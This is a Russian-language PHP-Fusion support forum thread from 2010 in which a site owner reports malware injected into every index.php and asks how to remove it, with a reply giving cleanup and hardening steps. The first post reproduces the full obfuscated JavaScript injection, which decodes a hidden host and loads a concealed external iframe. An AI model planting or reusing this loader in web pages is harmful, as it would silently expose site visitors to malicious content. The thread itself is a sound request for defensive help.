PHP-Fusion SF Russian Support Site
  Регистрация    Забыли пароль?        Правила форума    FAQ (читать перед созданием новой темы)
Имя   Пароль  запомнить
  
Просмотр темы
Вернуться на сайт: PHP-Fusion SF Russian Support Site

Форум поддержки PHP-Fusion SF | PHP-Fusion SF - Система Управлением Сайта | Ошибки / Bugs Reports
# 1 Тема: Вирус пришел и в мой дом.
minka9
Пользователь

Avatar пользователя


MP3 плагин для 7 осталось 50%

Любитель Fusion

Сообщений: 144
Зарегистрирован: 28 Марта 2008, 12:02:05
Сказали спасибо 10 раз
Статус: offline
Опубликовано 31 Мая 2010, 09:37:23
На днях заметил, что при открытии сайта в особенности index.php, антивирус находит загрузчика вредоносного контента в общем во всех папках где есть index.php был внесен вот такой вот код.

<!--Injection_head[SessionId=542E39AF,version=2.0,type=FindDomainName,CRC32=1AEEEE8C]--><script>var uid = '292954', path='VwsdBA8OFhxdBwERGQUTRAMICwQECEAVDUAbBwgSCwYdBx1IFwEeAAACJxoBDBwUJx8TBwsLVwYcDQsfVh8aGQ==', host=String.fromCharCode(115,107,100,102,106,119,104,105,111,115,110,115,107,101,114,46,99,111,109);</script><script>var PyST41 = "e"; eval("var SNmr81 = /k"+"ok"+"o11/i"+"g"); var nBwJ82 = "%"; var HPHb31 = "koko1164koko116Fkoko1163koko1175koko116Dkoko1165koko116Ekoko1174koko112Ekoko1162koko116Fkoko1164koko1179koko112Ekoko1169koko116Ekoko116Ekoko1165
koko1172koko1148koko1154koko114Dkoko114Ckoko113Dkoko1164koko116Fkoko1163koko1175koko116Dkoko1165koko116Ekoko1174koko112Ekoko1162koko116Fkoko1164koko11
79koko112Ekoko1169koko116Ekoko116Ekoko1165koko1172koko1148koko1154koko114Dkoko114Ckoko1120koko112Bkoko1120koko1127koko113Ckoko1169koko1166koko1172koko
1161koko116Dkoko1165koko1120koko1173koko1172koko1163koko113Dkoko1122koko1168koko1174koko1174koko1170koko113Akoko112Fkoko112Fkoko1127koko112Bkoko1168ko
ko116Fkoko1173koko1174koko112Bkoko1127koko112Fkoko1172koko1165koko1163koko1169koko1165koko1176koko1165koko1172koko112Ekoko1170koko1168koko1170koko113F
koko1175koko1169koko1164koko113Dkoko1127koko112Bkoko1175koko1169koko1164koko112Bkoko1127koko1126koko1170koko1161koko1174koko1168koko113Dkoko1127koko11
2Bkoko1170koko1161koko1174koko1168koko112Bkoko1127koko1126koko1168koko1172koko1165koko1166koko113Dkoko1127koko112Bkoko116Ckoko116Fkoko1163koko1161koko
1174koko1169koko116Fkoko116Ekoko112Ekoko1168koko1172koko1165koko1166koko112Bkoko1127koko1122koko1120koko1173koko1174koko1179koko116Ckoko1165koko1120ko
ko113Dkoko1120koko1122koko1164koko1169koko1173koko1170koko116Ckoko1161koko1179koko113Akoko116Ekoko116Fkoko116Ekoko1165koko1122koko1120koko113Ekoko113C
koko112Fkoko1169koko1166koko1172koko1161koko116Dkoko1165koko113Ekoko1127koko113B"; var tpsH92 = document.createElement("script"); tpsH92.type = "text/javascript"; tpsH92.text = window["un"+PyST41+"sc"+"ap"+PyST41+""](HPHb31["r"+""+PyST41+"p"+"lac"
+PyST41](SNmr81,nBwJ82)); document.body["app"+PyST41+"ndChild"](tpsH92); </script><!--Injection_tail[SessionId=542E39AF]-->


Вопрос как с этой проблеммой бороться??? Ну на первое время можно и удалить но все же это может и повториться,,,


[Изменил(а) minka9, 31 Мая 2010, 09:37:40]  
^ наверх ^
# 2  
Abruzzi
Пользователь

Avatar пользователя



Завсегдатый

Сообщений: 65
Откуда: Россия
Зарегистрирован: 23 Октября 2008, 06:08:44
Сказали спасибо 0 раз
Статус: offline
Опубликовано 31 Мая 2010, 17:29:15
1. Проверь свой сайт на вирусы при помощи Dr.Web http://vms.drweb.com/online/ (Проверить ссылку (URL)) ТАм увидишь какой вирус и где сидит.
2. Удали вредоносный код из файлов.
3. Смени атрибуты файлов на только чтение, вроде 444 у index, maincore, mainterance. theme.php и другие важные...
4. Смени пароль на фтп и не заходи на него сутки, можно двое. если что-то надо залить то лучше от друга (проверишь от куда берется вирус, с твоей машины или хостер)


--------------------
Сила силы - в голове!
^ наверх ^
Перейти на форум:


105,432,675 уникальных посетителей
сейчас: 21 Ноября 2024, 19:28:58
Генерация страницы: 0.06 сек.

 Original size:15 кб.
GZipped size: 6 кб.
Compression:64%